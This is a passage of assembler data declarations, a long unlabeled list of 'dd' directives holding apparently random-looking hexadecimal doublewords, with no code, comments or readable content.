0F04BAEABh, 9099BD99h dd 0DD5426A4h, 7B41F198h, 99C6AFE7h, 0A81C08B1h, 0BC6740EAh dd 9C47DE23h, 0AEB6450Fh, 229F2217h, 0CACB69FDh, 0DD758F80h dd 0E190DC1Bh, 0F16526A5h, 0C591B526h, 6F5649A7h, 0CC676246h dd 0A4A0D53Dh, 1BA50D0Ah, 631F5093h, 5335CF16h, 0A416B5D0h dd 2D9731A0h, 0A4E0EE01h, 0A4A64682h, 0D4B159Eh, 0FDB0E29Dh dd 75F50EB6h, 0A5CFDE29h, 6F8E2FCEh, 6281BD90h, 0AC936BD2h dd 0AFFE0144h, 99E4CE97h, 6EF6DFE2h, 932EFFCDh, 0F949D65Dh dd 21458E3Ah, 7508B34Fh, 9C371FAh, 6017A31Bh, 0A0AE2B44h dd 475F7F4Fh, 0A9B778FFh, 0E9D29FC0h, 7A373C4Eh, 3D6DC310h dd 3735A8DBh, 0D46B3C0Ch, 0B404E122h, 7D48EF0Eh, 0E25092C6h dd 616611FAh, 0D1EA9FA4h, 1AC71878h, 9F48C198h, 8FDFAA2Eh dd 638F4764h, 0E9715E90h, 0A578C8FBh, 0AD93955Bh, 5C27E5D9h dd 0BCDA2F3Fh, 50A783ECh, 0DE26C9A4h, 53D29D2Ch, 0FED71BE9h dd 5F51A589h, 0A79C9B2Ah, 0E7F92Ah, 57ACF9A1h, 6996DA8Ah dd 3CB318F0h, 6195F9B5h, 67D4DC47h, 0C198CE7Fh, 0B0B8035Dh dd 92D8F9C3h, 0EEC5559h, 746FD594h, 0B57C4CB2h, 5481CE92h dd 85F11204h, 602E1A53h, 8B8D3095h, 52155FE4h, 0D3CE8897h dd 8DCBB589h, 8C53BEE5h, 0E40CA73Dh, 0AA03B291h, 6A838D33h dd 4814D9F6h, 99BF93EDh, 0E00AF977h, 20663D9h, 0A04D932Eh dd 8841D82Dh, 22A95A2Ah, 0DEE7A592h, 0CDA22F05h, 1E756E8Ah dd 0DF7E669h, 45C7DCF5h, 9FC46038h, 4C3961B8h, 0B365D8A4h dd 0ED21DAACh, 2338CAB2h, 66365A7Eh, 7173CCB5h, 0CC7D14FBh dd 0B7747FCCh, 340C996Bh, 0A2D17FCCh, 9E5D31DAh, 897ECFD8h dd 54D30128h, 59E66CBCh, 834FF231h, 573A6F74h, 71F51031h dd 6104ABDDh, 0AF05C9A0h, 0D9DE3195h, 62C6331Eh, 0E314CFE8h dd 90D107A7h, 7589DE97h, 6CFDF0FAh, 6973FBBAh, 0CF093C08h dd 0EF583858h, 0DCFD4531h, 77E253A4h, 6DF0F27Fh, 17425641h dd 0E5246BD3h, 0DFDC8D33h, 6F1C7009h, 2A9A124h, 0FC9E4B44h dd 0E3E4F560h, 0B2CF9025h, 8EC9C77Bh, 298E3B30h, 8458F1DCh dd 0CC89DEBDh, 568B5B8Ah, 59370446h, 0C797123h, 944A52F9h dd 1F9B3C77h, 3FAEA984h, 0D3883BB0h, 0B2754ACEh, 211FED75h dd 8024C557h, 907B7CF3h, 56196A3Bh, 778793B8h, 6A9AA325h dd 9ACEAF8h, 39574DA1h, 963EC170h, 94010686h, 0B0BFBA8Ch dd 142872B5h, 0BF6C104Fh, 0B2612ABAh, 0DA88EE1Fh, 0AF8C7BFCh dd 0E48F8B42h, 0CFFA62Eh, 5847683h, 500D3358h, 41F9778Ah dd 8130F7EAh, 6FC68633h, 0F07B4223h, 0E591EFC3h, 0C728877Ah dd 0AAFF7B42h, 0C556E4F3h, 0C7CD3543h, 9544CB26h, 0E4B017B3h dd 1F3B4BF6h, 39F62324h dd 86E4BB05h, 307C4D0h, 6E803016h, 2A7AC5EDh, 0D35DC446h dd 0C4CDF307h, 6DC8F403h, 448DB17Bh, 13A14464h, 0E16FA3B5h dd 372B387Dh, 0F0D42FF3h, 0A273CC52h, 0A5620C6Bh, 855F577Fh dd 805327CCh, 55601A48h, 0B96A8F5Fh, 87D4666Ah, 13FD9D30h dd 94E5B70Ah, 468499B6h, 0B4503655h, 0A30287B7h, 89867111h dd 0CE0D87E1h, 0EA706C1Ah, 72530C3Dh, 4443F716h, 1EFC5AEBh dd 1FA990A3h, 76229BA3h, 10F1F3Ah, 99D108D8h, 0FC4D7C8Eh dd 0BFF1EAE3h, 88B282A1h, 5FB75B8Dh, 0F0565A54h, 986DA5E8h dd 974A485h, 0D45CD03Dh, 0F24226EFh, 2326E6A5h, 0B0F550E3h dd 74D8CA71h, 0A13124EEh, 0E44A9028h, 0AD05E5FBh, 0AFFC89DCh dd 0B8499F13h, 3779F86Dh, 0F2CED976h, 0B64E7A5h, 0BC359E7Bh dd 0BFFE05BBh, 0F72AAD3Bh, 6FDC8338h, 2395E02Fh, 8ED0E684h dd 0A50A6011h, 0D620A423h, 90322B78h, 0BD69BA24h, 6E8BC433h dd 21F43A16h, 0AC63F094h, 0ECBE2EB3h, 6A66A58Dh, 50702695h dd 0C9685E09h, 73B5D93Dh, 0A3DE0BC9h, 45FD5D9Eh, 3BB04D7Fh dd 2BCD7C28h, 6CAC4D4Ah, 8BCDD0D4h, 18653B4Dh, 0BDD6C1h dd 271538EEh, 8F19243Ah, 15393A2Eh, 0ACC03F9Dh, 600A99D7h dd 59A37A94h, 2F2DA75Dh, 9A2BA809h, 4D30186h, 6DA42048h dd 9B8E83A4h, 407497BBh, 0B7C5BB43h, 0DB561FB0h, 0A51B9A88h dd 22027049h, 74B2B9B2h, 0BC0BF5ADh, 7BE46F19h, 0E1AE8EAEh dd 0A9175CB2h, 5B564C7Ch, 0C50C6513h, 0CA884C1Fh, 31469421h dd 0B5A72853h, 0E8AF348h, 0B5DA11F6h, 225C8BD2h, 0F6EFCEF8h dd 27E2C22Dh, 6B443514h, 0A0A9AA7Eh, 4B1D002Bh, 13E3D83Ah dd 0DCF41F3Dh, 0F79C41BEh, 2217791Dh, 0BC114E03h, 0B31F904h dd 9FD3C316h, 4E14C390h, 11AD7747h, 0B48193B0h, 0B2812E08h dd 44C368A9h, 4D0A082Dh, 2E2FE9CAh, 670246E1h, 70DDE3F9h dd 5A754CA3h, 6A8D2E8Dh, 147676AEh, 0B3533F6Ah, 0EC4213C2h dd 0ABBEE117h, 13C225B8h, 1415AD4Dh, 1861270Fh, 907ABFC6h dd 745EB2B2h, 3067360Bh, 2DA5139Bh, 986D5DC7h, 6E0071EFh dd 5E2C9DE3h, 0ACD4FB0Fh, 0A98AC891h, 0FC083424h, 40A7D1FCh dd 0BC7B5A06h, 0D23B91ECh, 1A3E04ADh, 0D3D87F58h, 1E7A4A2Eh dd 972DA2D2h, 0FE1CF0D5h, 33D85834h, 0D6259563h, 92D381CFh dd 7359B997h, 26E365B6h, 0F486D4ECh, 4FA4A8DEh, 6822F625h dd 4B8B620Fh, 5E56F236h, 0BE3291BEh, 0D4575AE0h, 468E35Ch dd 0D95A6111h, 0DC8EE579h, 32C5FEF8h, 53472B2Ch, 584A7C86h dd 86ACFAF3h, 0C5A6CC56h, 2FCD4594h, 0E3AB3580h, 0A430BF09h dd 92FD3F46h, 82F2D9BBh, 4AED254Fh, 0D622E786h, 7F1C7283h dd 3CC303ADh, 0EC166188h, 0C6356CBAh, 74F0CE03h, 0E112F0BBh dd 1F9DF9DEh, 0DDDC4A36h, 0E583DFAEh, 0BF1BB8AFh, 298CB0FEh dd 5275957Dh, 5ED7AA59h, 68712644h, 0C357D643h, 53E630AEh dd 0B4A2C73Dh, 374004C0h, 3F57C9C8h, 5DB5292Ch, 4197F4D3h dd 2C7AD9ABh, 0D877DB0Fh, 0E6646D47h, 1070ACC4h, 0B5B9FE27h dd 94179FD0h, 0BB0D50E6h, 0C3B73105h, 967735C2h, 2CAADB2Eh dd 0C57BD73Eh, 26D5D7F0h, 0AD091601h, 7DDD040Ch, 2A9565ADh dd 5429A92Ah, 0D1220793h, 94175D12h, 30BF0CB0h, 0FA4FEBE6h dd 2DBA3242h, 0D2F370A8h, 0C245D5D7h, 834BCC7Eh, 0A6603526h dd 299D3E8Dh, 0FBFCF6A5h, 9895DE4Eh, 93C4E01Fh, 1B60071Ch dd 4D949917h, 628F3B09h, 0C2992703h, 634894C1h, 9C12C304h dd 37908E13h, 93AB835Ch, 3260E011h, 6E06D43h, 1C67A355h dd 3C68A00h, 82C81FEEh, 7844E756h, 0E20F16EAh, 0DB32ECEAh dd 0FD587C7Fh, 0F96897D8h, 6D5015DBh, 44493702h, 1E3C22FEh dd 4A58D32Ah, 0DCB4AF9Bh, 53BF526Ch, 337E7521h, 1F7D5056h dd 489DFFADh, 0AA1D0A53h, 13DF7A5Eh, 162B6870h, 13E15FECh dd 88F7C950h, 41240EEh, 0D14278B7h, 0A22D4852h, 6754017Bh dd 4102E27Bh, 2BFA0A46h, 3FCF5D2Dh, 662EEF08h, 0EDDB26D2h dd 409D56F9h, 0EECB6E96h, 0C623C70Eh, 0C49EA394h, 44FAF442h dd 0CA9679E3h, 27969F88h, 0F9BF0946h, 6D8CBFD4h, 0C870AD5Ch dd 0DD3CF556h, 0CF26464Ch, 0DD6A3AF4h, 3765B04h, 8D0DB15Bh dd 0EE159F3Ch, 57D81091h, 0D1763933h, 0CB85FB0Eh, 22B21A47h dd 0B1AAE026h, 0BDC2C2A7h, 96E47844h, 370EB4E0h, 49A8B421h dd 8C492E4Eh, 0BDC03FD6h, 9A3116DCh, 0D95952D9h, 6BAFC8ECh dd 61CE1CAh, 294E9845h, 0DC53B5ACh, 0CD0B6694h, 0A5CB2F06h dd 0BBA58009h, 0A25D30DBh, 83E4A35Dh, 15FC29C3h, 0AB37E486h dd 0FCAEA094h, 0E2DD5D2h, 5CBF6ACBh, 0A39AB514h, 865333B7h dd 0C006E10Bh, 4D0DF29Bh, 69867D5Bh, 259988B8h, 0F541F39Ah dd 0EBFB0B93h, 5D34AC0Ah, 9AF549F5h, 55F00253h, 8EABAD75h dd 0B4AFE44Dh, 1AF4664h, 87DC6F1Ch, 0EE83645Eh, 83BAD489h dd 86F69474h, 495EFCF4h, 0F6EB2382h, 23F6A77Bh, 27910100h dd 56227E70h, 98A1275Fh, 0C80B833Dh, 6496E6D2h, 0C003A1FEh dd 0FFA19C0Ch, 0E0AE46B0h, 33277F2Fh, 5D9D6159h, 0F94227E0h dd 0FBBE75ACh, 0BB52FB5Ch, 699EB11Dh, 0E98E91EEh, 0B98E945Eh dd 585235D7h, 0FA899CE9h, 89001B93h, 0F8583696h, 4EF9A66h dd 0B29D5A4Dh, 0C5615BF0h, 0BE31AA64h, 42AA7B67h, 8DC3286Dh dd 48ED08FFh, 0D7D5BDA9h, 31EE98F9h, 463A74A7h, 75952AC1h dd 757CB8DBh, 71879434h, 73195205h, 0F5397D6Ch, 0FB880B40h dd 0ADD596AFh, 7B82F6C2h, 89544C72h, 38E40E17h, 0A6AA9B85h dd 0CAB4401Ah, 557879FFh, 2B3F11F5h, 0B2A7E1AEh, 0BC318881h dd 0C4F8BECFh, 8B4D095h, 0C8145A36h, 0A6BAB1DEh, 0D92583E8h dd 783C0A73h, 0CA62FEDEh, 3E529A98h, 0CDEA7B07h, 0BE3050DBh dd 68E92EB6h, 0A4F269FFh, 69F3B6D3h, 0ACF8E2CDh, 20E0FBE4h dd 8CD993DBh, 9AE5FA0Ah, 1276DBC5h, 7C10E7E2h, 0F2701041h dd 0F3BA1BCBh, 7F288DA2h, 6707A3A0h, 4737AFDAh, 5BBE9515h dd 0B7BE3A32h, 77851B87h, 0ECBD4B58h, 2EA14599h, 0E73AB3B2h dd 4F8B8D56h, 3AB0C449h, 0AE2434DCh, 0FC7C01D7h, 3C0E442Bh dd 2C0FA00Dh, 793E6BF1h, 0E0134F21h, 3038ADB4h, 61CFB4EEh dd 0ACB4B095h, 0D89C4871h, 0A1CB2C75h, 0E172F936h, 1D0E4175h dd 3950E0C8h, 5ED6BF6Eh, 63E8ECCFh, 5EA490D9h, 967EE209h dd 0DD8F9EFAh, 37E5E02Bh, 9768CFD7h, 27C1B427h, 364BD044h dd 20416AF2h, 307EF7A3h, 0D9BFD0Eh, 0BBFAED24h, 6B63F2BFh dd 0D3DFC9D6h, 7C2D51C1h, 34DD0B49h, 8E85CE97h, 5FD04179h dd 7134BB96h, 901C0411h, 91824D3Bh, 20C2B24h, 0E923B8BFh dd 2B94C367h, 301EB323h, 28BF88ECh, 3AFF62Fh, 2A95DAC4h dd 0FFBE9BEh, 17E27CA2h, 0C4D8016Dh, 0D5CD8902h, 20B26A83h dd 911B00A9h, 0A2251748h, 0EC26045Ah, 0ED0C5658h, 8FE36525h dd 9D079A0h, 0F4A44556h, 2548E516h, 9D4828F3h, 8A21BA37h dd 0BC5C2F5Eh, 92F67D10h, 33A8C2h, 0C46E2187h, 2A6E729Bh dd 0CDA7F6E3h, 0F4F14660h, 0F355FFEBh, 14D7206Bh, 0FC36B7A3h dd 0A5D22105h, 0D281964Dh, 0DDF03B6Bh, 0AB3512CBh, 0F3EDC5A1h dd 617AC472h, 1128847Dh, 199DFF3Bh, 99199163h, 24F10126h dd 645A75BAh, 9DB53000h, 0CB2A94DEh, 8136EA77h, 0FC82DF89h dd 0E8A845C5h, 0D72B57B8h, 0E0E35FFDh, 95597C03h, 0AC85BE67h dd 0C10FB6AAh, 2BD2FA49h, 0A790ADB9h, 0BAC12E82h, 0EA79DA5Bh dd 0D6E7BEECh, 0A2BA5FA6h dd 0A850F374h, 92731FEEh, 216312CEh, 3CF93E6Ch, 4BF2C164h dd 6AD19691h, 9A024B46h, 50F967ADh, 0BFEF3310h, 126EB6E4h dd 0F54BB58Eh, 0F76AFD1Bh, 43713CFAh, 0F9FD24B4h, 0CBF36D84h dd 0D4E3B9CFh, 802AB6C3h, 0CF0924DBh, 0F70521E3h, 0DE43C4CDh dd 5ABC0E25h, 0F46DD220h, 0D3FE1180h, 0FFCA5A6Fh, 7202F376h dd 0D97B8E46h, 7933B204h, 0B96F2135h, 71A18C60h, 577F407Ah dd 7CE738F2h, 9979731h, 0B71CDB35h, 6E681D08h, 0ECF0667h dd 0D8EB016Bh, 0CB64E76Eh, 88089A2Ch, 0B3A91F5Bh, 42B55A2Ah dd 72AD97A6h, 513175DBh, 94903CE2h, 0BE062668h, 9C62C5D9h dd 33D67C29h, 8515B448h, 266C2DFAh, 937B51ACh, 0DCADAD3h dd 0B90CBF84h, 39F31FE3h, 850EC6B6h, 4CCA5B49h, 0F4971845h dd 0DE7DDE3Fh, 0C23A58BFh, 0CBD260BEh, 759268FFh, 250D4CFCh dd 20518897h, 6442C74Dh, 0BDF35F4Bh, 7C335164h, 6F774324h dd 0AEE91070h, 0D72DD976h, 0FF185FEDh, 0D943E807h, 545FDB22h dd 0A964301Ah, 341F680Dh, 7584180Bh, 2DDB6184h, 0A990820h dd 800F3CAEh, 2AD95140h, 0F3263D16h, 0BA8BD9DAh, 2AE32EECh dd 0A7F2D26Eh, 72DF710Dh, 3AE54F18h, 0AE475D07h, 44901ABAh dd 75FE637Ch, 0D35BAE81h, 0ECBFCF71h, 0D7968716h, 0A26F3C34h dd 0BD06EB2Fh, 74600839h, 0B6B86B9Fh, 8004CACEh, 0ABA9F104h dd 0E8BCDF26h, 18264FF8h, 80007210h, 1A712CF1h, 5D6D6580h dd 0F600658h, 841D0259h, 6FAE8DF5h, 0A5CD48DCh, 0AF79B240h dd 61E13976h, 84A02557h, 2889255Ah, 53166638h, 0D63854CDh dd 618130D8h, 0C597F7Dh, 0C9BD5824h, 54AFCA53h, 0F99AC198h dd 0D936E363h, 122263D2h, 5C3E66A0h, 0EAA7BA86h, 8A31DDD9h dd 0A42FB23Ah, 42922A1Fh, 2FD253FFh, 665C3E85h, 0A5A7AD1Ch dd 0D90D423Ch, 27071AE4h, 1D3A753Fh, 0A4B4B1CCh, 8481CDABh dd 25EE1F74h, 41EB6C73h, 15C21513h, 0C3B17CF1h, 10672120h dd 5DF3B990h, 308E6910h, 0B81F4E63h, 0E281104Ah, 6AC6B237h dd 697EDC61h, 4744DBD9h, 8573405Ch, 60F4CA44h, 60B4A7D4h dd 0A5251F0Ah, 4B13C705h, 0ADF260F0h, 6C75C1B5h, 0BBBCACB5h dd 6E23F358h, 0B5438595h, 6D850619h, 0F7EEB921h, 0CD08B2BBh dd 5B070772h, 72EF9A65h, 0D4BE9840h, 0E28D76DAh, 5792323Ah dd 96F46BCh, 423DB79Eh, 0E78E9C61h, 1434D32Fh, 0F412D653h dd 0D26BC054h, 0A228931Bh, 1C2564F1h, 1E803480h, 672D587Dh dd 526EED56h, 0B17B7ED4h, 0E4603378h, 41AF4C99h, 0E884992Eh dd 0BEC217A7h, 50C9AB9h, 5D2A4793h, 71DDBC1h, 42E1EDD3h dd 0F9C7DA82h, 0DB7525F2h, 7D4F95D6h, 0E1E996F1h, 24245239h dd 4D331E6h, 76D9934h, 0C32FFD36h, 329189D6h, 66EC5FE3h dd 39AA47C5h, 0F17ECEC8h, 205E4BFCh, 71370511h, 0F7B1E4Bh dd 94762FE0h, 0BB3D0A88h, 3746B0B3h, 4B355B4Bh, 804443D1h dd 0B3C04988h, 7788721Eh, 4F1CF816h, 7645ECC9h, 0CC6E7779h dd 30D1573Ch, 42BF9554h, 0DB346FB0h, 0E7F99E81h, 2EE0Dh dd 0FEF92E35h, 961D1E5Bh, 0BAADEA3Bh, 83BC9A9Ah, 0E0D5C245h dd 2AD28F79h, 0D2389A0Dh, 0BBD596F4h, 8E733528h, 0C7884429h dd 0C758363Fh, 716F994Ah, 48DB0347h, 906C9A8Fh, 0EA77B575h dd 0BEBC6463h, 0EA55EE1Ch, 21606A08h, 0CC419E54h, 0D919A8Eh dd 1D48B251h, 0B6FE0517h, 73CA9854h, 0CF0BED90h, 1E1E2267h dd 393C5111h, 0F53081AAh, 0DE10FEA6h, 0DA660E26h, 0EDE65304h dd 989DCC6Ah, 124BEF2h, 351871F7h, 0BD79B0DBh, 893AF50Fh dd 1B147948h, 7AFDD57Ah, 6D5E44DFh, 21963B1Ah, 231BAE4Ah dd 3FEEE473h, 0A4692D2Bh, 809D7833h, 49218B6Dh, 5A047154h dd 27CC96FCh, 0F37CA720h, 8ABBC1DAh, 0A19C84DFh, 7DE4210Dh dd 0F5076C3Eh, 6805C6BFh, 6A5CFC62h, 5CFA006Ch, 0AA1AE6EDh dd 21BED3E8h, 6F7AAA43h, 0D77366FDh, 0EF02A3F9h, 16C860A2h dd 0FB8539D0h, 977A513Eh, 0D7F5EB3Ch, 0B41CAB3Eh, 0CCFB6D38h dd 0CBD38CE9h, 0ABECC601h, 0C204B221h, 0DE8DF0Ah, 9B3744CCh dd 0B122055Bh, 9AE0BAE2h, 0DF2E9468h, 3BB57A35h, 773F43F1h dd 0EA2672h, 6ED95BACh, 0D581F172h, 703CCE3h, 6865F403h dd 4D2B42A7h, 0E4F85592h, 4F8E80EBh, 469F0751h, 2B0C5F23h dd 0C5CA6890h, 97E66C02h, 5FDD4B71h, 2F517EE4h, 0BE3D39E7h dd 14C01C57h, 73FF5958h, 0CDFBBD13h, 70F9B899h, 153AF13h dd 249460CCh, 0A958BD69h, 0EBA8791h, 38B1C0Dh, 529CB665h dd 943E97DBh, 0F60D41FAh, 0A1B7A1AEh, 0A07EF157h, 562C7D42h dd 7D01467Eh, 0A2CA7483h, 4DD8CCEDh, 0DD271E67h, 0A991CE39h dd 36BA885Dh, 3AE6698Dh, 0AEC7EBD2h, 3EFFCF39h, 752F9B6Ah dd 0E23F82A9h, 38713E39h, 0E0481677h, 1708BB0Bh, 0DF85C586h dd 0B217EA1Eh, 3A434689h, 5056A964h, 0DAE69520h, 0E1AA7E8Eh dd 0B3C77B1h, 0BC94C2EDh, 49F9C7C2h, 0CF886ABh, 7829226Dh dd 0B55359h, 39080A60h, 30CBAE6Dh, 99A7656Ch, 6B141C4Ch dd 0C8A826DDh, 20329044h, 14BA999Fh, 153A0EC6h, 955198BFh dd 0B4DD6251h, 0A7D77C17h, 89FB8B53h, 6927B2Ch, 6196D9B5h dd 9E97F1Ch, 9BDC3726h, 0EB6320C7h, 0F9F58571h, 0CA23896h dd 8CC0D10Ah, 7D8A6E7Dh, 0AA089873h, 0BCBB24h, 3D4F975h dd 115A93D6h, 4599DB32h, 960D762Dh, 49D17B26h, 85FE7DCEh dd 5BE3B548h, 0C1B893ACh, 42476311h, 0A6F56E71h, 0D07CD488h dd 72DD59A8h, 84F180A0h, 261FDF4Ch, 7F977D5Fh, 90E08D08h dd 0EF8838DBh, 0D98298E4h, 0D4A008DBh, 9E90C0BCh, 82555D58h dd 0A237FE78h, 4BEF22B9h, 6A834BB5h, 0A6759692h, 9D1566ACh dd 2D9B3CCEh, 0EAB9CFC5h, 0E367CB53h, 9E8877C3h, 0EA48C486h dd 3F0D5B28h, 255E17A1h, 9B75E7BCh, 0F9460073h, 9BFA5129h dd 0D796F520h, 0B5CC419Ch, 782C4401h, 5CD725DAh, 953E38B1h dd 33E7DD07h, 105B1221h, 0E15B6BCAh, 0BD67A971h, 23FA25F7h dd 0D802322Fh, 0E21265B7h, 3C4E90EEh, 0DF944169h, 5346187Fh dd 8CAC95B0h, 0E676392Ch, 77EDE140h, 4796BE4Fh, 92EAA484h dd 51CE2469h, 1FA9D90Eh, 377022Fh, 8EBC2FA3h, 4FEDBFABh dd 9FAABDB2h, 0A7E77C7Fh, 28DD9FDDh, 828FFEBh, 29BEA599h dd 0E02FA824h, 9E5F5FE6h, 8AF1D296h, 99B021C4h, 3A992CBAh dd 6B258889h, 7158BE36h, 8FEFEC88h, 0A29BC6C8h, 5A6A2782h dd 0C40733B0h, 0C00DCC47h, 560EF8D0h, 316D5E33h, 46EFD939h dd 0F29B3CD6h, 0F90F6B78h, 8ACC9866h, 75D74104h, 39042D92h dd 0A01F69A0h, 0A0F27299h, 3C8FE48Bh, 0F25774F4h, 0A34C95C9h dd 6E73ECA1h, 7926433Bh, 883DA0FBh, 7A4AC75Eh, 894C4791h dd 2499B2FCh, 0AEF121D0h, 3B6DE1C8h, 4EB1AFB0h, 0EA965655h dd 0A7393983h, 3556D34Eh, 950AFEFAh, 1638044Ah, 72D41387h dd 245C9FF2h, 0B04A9DAh, 0FC371CB2h, 0F2C47F77h, 0ACBAAEC8h dd 0CC9C4B5Fh, 544A4511h, 444EE714h, 652A0A34h, 0D6B6945Eh dd 6AC627FDh, 6E9B9D51h, 62CF99BEh, 50733376h, 48D49873h dd 34F19CF4h, 7B081649h, 2F15BDE2h, 8DFFC91Eh, 81F94455h dd 99BCAEDh, 69AA7713h, 660465E5h, 32095F61h, 0A18A8FD5h dd 31C3AD48h, 0C3027F16h, 451C8D25h, 31156C91h, 53143B22h dd 8656E40Dh, 52EE710Dh, 836CC97Ah, 477B1FEh, 0CC4E7AFCh dd 80E71D65h, 0CDDEE5F4h, 8628F3A7h, 372A5F82h, 49CBD16Eh dd 33E4161Bh, 10D415B1h dd 854C5F2Eh, 0C19B545h, 0E767FEE6h, 8D403465h, 1E2FCBD0h dd 3B38846Fh, 0D963F8BBh, 0E24B2520h, 95ADF168h, 0A8282CF6h dd 3E8A1BFBh, 1992594Fh, 860A3264h, 0F4987941h, 9A61D803h dd 50AD430Ah, 0AFA8521Fh, 98914B1Ah, 7A2BB572h, 40B19209h dd 15A90583h, 0D6997519h, 246A374Dh, 0CE438C7Bh, 0B54F1C28h dd 0E0873049h, 22AA476Eh, 0B84EBDB7h, 3E47C60Ah, 485963B7h dd 0B45B555Ah, 0D94F50AAh, 2E5AD713h, 8C122BDEh, 4AF2E77h dd 0ED98AE97h, 178A18C1h, 6E167D30h, 0B069A5B2h, 0D0B3BA44h dd 3C0B1E3Fh, 851331B4h, 3A73F380h, 32A0D607h, 5C5C8C8Dh dd 0E57F5134h, 98842C10h, 6C4D158Dh, 0DFD68594h, 0D9486A45h dd 6D8F981Dh, 8C44E738h, 8615C9B5h, 196E5E43h, 897D1D16h dd 61EB13EFh, 7D8BDCC2h, 0F290FF6Dh, 0C4A2E27h, 2F53DBh dd 6A00EF52h, 0E0DAE83Eh, 9D999E5Dh, 0ECE318F6h, 0C4FB4A02h dd 7D1F4006h, 32046ADEh, 9A3583EDh, 0FC0C5568h, 0CFA6AB13h dd 0C3BDD49Eh, 5F32090Ah, 8045FBF2h, 8DB2FA5Bh, 0EAA9C65Bh dd 7E774DDFh, 722FE8A4h, 9F6E1F7Bh, 0B6872389h, 5C63A676h dd 57573712h, 2449A23h, 47DE6776h, 0A63D375Ch, 46F5D23Ah dd 0BF16581Ch, 5D116C14h, 0ADED739Ch, 79F675EDh, 3F96617Ah dd 680C0E37h, 0E47BCB6Dh, 0CDAF6125h, 0A08EF27Ah, 1AEA7820h dd 0D7667F81h, 43F6120Ch, 0BE648D26h, 92280975h, 71DE72F7h dd 0FFC4C7BDh, 14087FDDh, 1E88F91Ch, 0E256DF1Fh, 0CC545777h dd 5D3ECB15h, 0C7FB2B00h, 0B9AE3349h, 64BE3611h, 150CB0C0h dd 0B491E03h, 61A8ACD3h, 0D462583Fh, 2045A460h, 68A22319h dd 0BB93AA1h, 7D7519F4h, 0EEBE323Ah, 0FF63A877h, 0F19697C1h dd 6C69C782h, 0A331E0F7h, 4161887h, 10F604A1h, 5CA0BA42h dd 1A422E58h, 8F2386D5h, 0BC26ECC7h, 4097B9Fh, 310F82D9h dd 0C9097E3Fh, 7FF77A1h, 0DF29E8B4h, 7AD900FDh, 0EAB35AD9h dd 0C4DCC583h, 7BEEF690h, 697AF1DFh, 29D3D6F5h, 5FC903FEh dd 6B929896h, 9964B7E1h, 0C5E9C09Ch, 0A79D84A1h, 0A093A4B1h dd 9891DBDBh, 1AA57013h, 3020592Eh, 7687E2EBh, 19ECC13Ch dd 0DEF1D15h, 9B50F906h, 5655CC8Ch, 0BC137C9Dh, 1631FB96h dd 56267658h, 0C6BB5193h, 753D9752h, 6BCA5104h, 0EAD33B2Fh dd 95F077BAh, 20FCCF0Bh, 8E9AB083h, 4B55748h, 3B9193ACh dd 0ED835D33h, 38163617h, 0E578B34Fh, 0BB6B7F47h, 238B8481h dd 7D8A243h, 0F99D1EE1h, 0E6CF6DC9h, 0F65889FFh, 0F9C04875h dd 0D869DC7Fh, 87A32EAAh, 19A74944h, 0D8CB7D4Eh, 0C72A4F65h dd 7F895DFh, 0F756BB4Dh, 49BE420Ch, 4FE75F7Fh, 0D4A15EB6h dd 0FD9D341Eh, 6A1CC114h, 60EA1FA3h, 0F95BFE27h, 63708AB1h dd 561349A6h, 0F4407B29h, 0DCEBABEh, 5021CEECh, 15EC28Ah dd 634B6792h, 0A7202239h, 0E3E7E4F6h, 0C45F3C4Dh, 383D5B96h dd 0BAC45DC4h, 27A4AEEEh, 0A0E9A48h, 64A2D887h, 2928E242h dd 2BC7BF90h, 0A9882B08h, 73C4BC15h, 0E6789A10h, 0FE6D5C5Ch dd 47728A37h, 0D32048A9h, 54A23E6Fh, 8CAA2E09h, 34AF5DDBh dd 0D249CB26h, 0EE14C955h, 0EF99BCBEh, 0C135FA94h, 766EE0E1h dd 0EC0A610Ch, 7841EB67h, 165A9F93h, 0C964D081h, 0FBC2FFE3h dd 611419F8h, 0B605BCCEh, 0F4C767C6h, 7F772F55h, 7854A741h dd 9B0D3E62h, 2BA09400h, 0CB837579h, 823AAB22h, 0BDFBE64Ah dd 0BAC0A850h, 6CB53FD0h, 3CB95B9Ah, 3A9F088Bh, 9B72B75h dd 0A280CFCh, 9DF79982h, 0E120083Ah, 0C7AC3A60h, 209D9656h dd 0F606BC59h, 9554E3A6h, 8C14A2F0h, 9A713F15h, 0FFF05371h dd 62404B9Eh, 0C4285CEFh, 9B752E3Bh, 0F11FBFBBh, 0B2543CAAh dd 0FD39D71Bh, 9927EEAEh, 3B8BB009h, 6A037C2Bh, 2A0D35ADh dd 115726F1h, 0EAED75B2h, 0CE7A48Dh, 0DAFCCEBBh, 3AB6C57Ch dd 695E9C07h, 0A7152B05h, 4D2A733Fh, 0A1954E45h, 21640D69h dd 876B9E6Eh, 0C1F1DBE2h, 13AD5EA9h, 3757C33Ch, 92347A7Bh dd 1E9B1CA6h, 4A3B5E93h, 4EBA6E54h, 7BA23ED9h, 1ADF06B8h dd 0A7377BE7h, 9BD7C88Fh, 0BFED13D4h, 80C58DFEh, 61BCAE5Ch dd 88F964FAh, 89E689F4h, 82075C01h, 4911EBD7h, 5A2F7D6h dd 1F767417h, 7C1AF2ADh, 0C009B6BAh, 71C1B14Ch, 0E90350CCh dd 0D0E67BCCh, 0E719632Ch, 38EBC1D4h, 242486BAh, 78F4C339h dd 0AE98479h, 52E5B0D8h, 96BCF8ABh, 0E0A9BBA6h, 0AE637033h dd 8409EDB8h, 36661964h, 4F2181F9h, 1F27CEE1h, 7AD31F0Fh dd 1F02E66Bh, 13D8E29h, 3423EB46h, 0E5F898E9h, 0B493D5AEh dd 3653B9FDh, 6F63A57Dh, 793A16Eh, 9F30B29Dh, 0F531A87Fh dd 0F7EAACE7h, 491C4EDDh, 62244246h, 0E8CBE63Bh, 2E72B38Bh dd 34CCE289h, 0C0EC9182h, 11C49921h, 480A62Dh, 8264F929h dd 3F89D6E8h, 0B2AAEBB5h, 0D98C4359h, 0A15A2EEEh, 342FEDDCh dd 5EDF3F0Ch, 2FBA6D7Ah, 0E489E745h, 6166FFCCh, 981BC2A8h dd 9C7492C6h, 73727C99h, 6104AA4Fh, 0F684315h, 99E28FE7h dd 9BEC6C6Fh, 6A051BCh, 3CC695E6h, 0B8CEA323h, 5414DCFBh dd 587C0D24h, 0C44D4A9Bh, 27FFC76Ah, 64909537h, 3F092431h dd 1B5137D1h, 0C0844A64h, 0B2E20553h, 0DB42CBAFh, 0FE118B74h dd 7FDF07E4h, 7FDC5841h, 0C28B080Eh, 4A3225F9h, 0D539E8DDh dd 1ACDC4h, 74514586h, 7699703h, 0C3F19159h, 805142F4h dd 0C9DF5928h, 